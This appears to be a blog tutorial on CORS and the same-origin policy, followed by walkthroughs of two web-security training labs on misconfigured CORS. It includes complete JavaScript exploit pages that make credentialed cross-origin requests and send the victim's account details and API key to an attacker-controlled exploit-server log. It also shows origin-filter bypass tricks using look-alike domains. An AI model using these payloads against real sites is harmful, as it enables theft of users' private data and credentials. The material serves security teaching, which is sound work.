Cross-origin resource sharing (CORS) Explanation & Exploitation ☠
Hi! My name is Hashar Mujahid and today we will talk about Cross-origin resource sharing (CORS).
Let’s start from the basics. Shall we?
To understand CORS first we need to understand what is SOP (Same Origin Policy).
WHAT IS SOP?
The same origin Policy is a security mechanism That restricts how a resource loaded from one origin (domain) can interact with a resource from another origin(domain).
It restricts malicious websites to request data from the authenticated sessions of users on other websites. Mainly save users from CSRF attacks.
Origin:
It’s pretty important that you understand what is an Origin. An origin is defined by a protocol, hostname, and port number of the URL. If two websites have the same protocol, hostname, and port they will be classified as same origin websites. If one of the properties is different between them then they will not be the same origin websites.
Protocol
Hostname
Port
Should be the same for passing the SOP test.
Example:
We have 2 websites given below.
http://test.com/testapp1/index.htmlhttp://test.com/testapp2/index.html
Are they from the same origin or not? They are Because if you focus on all of the three properties that we mentioned are the same between the two websites. They have the same protocol http so they have the same ports as well because http uses port 80 by default. And the hostname of both the websites are same test.com . The directories and path after the hostname doesn’t matter because the above checks are enough to test for SOP.
Now we have some understanding of what is SOP we should see what is CORS and why we need it.
WHAT IS CORS?
As we know SOP restricts loading resources outside of the same origin But if we really need to load some important resources that’s where CORS Kicks in it enables controlled access to resources located outside of a given domain. It extends and adds flexibility to the same-origin policy. However, it also provides the potential for cross-domain attacks, if a website’s CORS policy is poorly configured and implemented. An attacker can perform a CSRF attack to inflict damage to the user.
WHY DO WE NEED CORS?
To understand why we need CORS we need to take an example. Let’s assume that we have 2 Websites A and B. Website A needs to load some resources from website B (like an image or some js files) But It fails due to the strict same origin policy (SOP) implemented by developers. This issue can be bypassed using CORS (Cross-origin resource sharing). It helps to add some flexibility to our SOP policy and allows us to load resources from trusted websites.
Because the same-origin policy is so restrictive, many techniques for getting around it have been proposed. Many websites have interactions with subdomains or third-party sites that necessitate complete cross-origin access. Using cross-origin resource sharing, a regulated relaxation of the same-origin policy is possible (CORS).
Headers like Access-Control-Allow-Origin response are used to implement the cors.
What is the Access-Control-Allow-Origin response header?
The Access-Control-Allow-Origin header is included in the response from one website to a request coming from another website, and it defines the request’s permitted origin. If the Access-Control-Allow-Origin matches the origin of the requesting website, the web browser allows access to the response.
For example:
suppose a website with the origin normal-website.com causes the following cross-domain request:
GET /data HTTP/1.1
Host: robust-website.com
Origin : https://normal-website.comThe server on robust-website.com returns the following response:
HTTP/1.1 200 OK ...
Access-Control-Allow-Origin: https://normal-website.comThe browser will allow code running on normal-website.com to access the response because the origins match.
The specification of Access-Control-Allow-Origin allows for multiple origins, or the value null, or the wildcard *. However, no browser supports multiple origins and there are restrictions on the use of the wildcard *.
Now we have enough understanding of What CORS is we can think about vulnerabilities that may arise due to misconfigured CORS implementation.
Server-generated ACAO header from client-specified Origin header
Some applications need to allow access to a lot of domains and keeping a list of white-listed domains is a lot of work and any mistake can lead to breaking the functionality. To avoid this work websites allow access from any other domain.
For example:
A website receives a request.
Like this:
GET /sensitive-victim-data HTTP/1.1
Host: paypal.com
Origin: https://malicious-website.com
Cookie: sessionid=...And PayPal server responds with:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://malicious-website.com
Access-Control-Allow-Credentials: true ==> Allows cookie to be included This response states that the malicious websites have and can make a request to fetch and make a request to our data and can also include our cookie while making the request.
This means any website can make requests for our precious data on a vulnerable PayPal server.
Lab: CORS vulnerability with basic origin reflection.
This website has an insecure CORS configuration in that it trusts all origins.
To solve the lab, craft some JavaScript that uses CORS to retrieve the administrator’s API key and upload the code to your exploit server. The lab is solved when you successfully submit the administrator’s API key.
You can log in to your own account using the following credentials: wiener:peter
Access the lab.
After logging in we can see an API key we need to fetch admin’s API key to finish the lab.
We can see in burp a request to /account-details is made which fetches the user's data. Send this request to the repeater.
Let’s test for Misconfigured CORS. Add an ORIGIN header in our request and see the response if it is allowed.
Our Web was included in the ACAO header. Now we know our web is vulnerable but the question is how we can access the admin key through this. We need to write a javascript code and host it on our exploit server to include the response to the request made when the victim visits it.
<html>
<body>
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://0a08005b047893acc0ef1484004100a1.web-security-academy.net/accountDetails',true);
req.withCredentials = true; req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>
</body>
</html>This script will make the request to /accountDetails and add the response to the link in our exploit servers logs.
Store the exploit on our server and then deliver it to the victims after that when we check the access logs we can see administrator’s information is disclosed.
That’s how personal information can be leaked by misconfigured CORS implementation.
Errors parsing Origin headers:
Some websites allow access to white-listed domains and also all of their subdomains. This can be a security risk because attackers might be able to bypass this filter by registering a similar subdomain.
For example :
Scenario A:
Site A allows all the domain ending inocent.com . An attacker might be able to register a domain hackerinocent.com and could get access to perform CORS.
Scenario B:
Suppose an application grants access to all domains beginning with incocent.com an attacker can bypass this using inocent.com.evil.com and could get CORS access.
Whitelisted null origin value:
Origin Header also supports null as a value and the browser might send a null value during some situations like
Requests from serialized data.
Request using the
file:protocol.Sandboxed cross-origin requests.
Cross-origin redirects.
Developers might add null to the while listed domains during the local development of the application and forget to remove in production.
This will pose a security risk because the attacker might issue a request:
GET /sensitive-victim-data
Host: vulnerable-website.com
Origin: nullAnd the server will respond with.
HTTP/1.1 200 OK
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: trueLab: CORS vulnerability with the trusted null origin
This website has an insecure CORS configuration in that it trusts the “null” origin.
To solve the lab, craft some JavaScript that uses CORS to retrieve the administrator’s API key and upload the code to your exploit server. The lab is solved when you successfully submit the administrator’s API key.
You can log in to your own account using the following credentials: wiener:peter
Access the lab and log in using the creds provided.
Now test for CORS misconfiguration by adding an origin header to our request and monitoring the response.
Because our domain is not in white-listed domains.
We can try setting our origin value to null and see what response we get.
Looks like the developer forgot to remove null from the list of white-listed domains.
Now as we need to write a script that uses this vulnerability to fetch us the data of the victim.
<html>
<body>
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://0a73002703504f63c036079300b20068.web-security-academy.net/accountDetails',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://exploit-0a0600c503a24f9ec0e6070d015300d2.exploit-server.net/log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
</body>
</html>The iframe will help us originate the request with a null origin and after that, the response will be added to our logs. If we click to view our exploit and Monitor closely our traffic in the interceptor.
We can see the request is made using a null origin.
I hope you like this blog. In the upcoming blog, we will discuss more ways to exploit CORS and How we can prevent CORS vulnerabilities.
If you like it Consider following me.
See y’all next time till then.
Happy Hacking ❤!
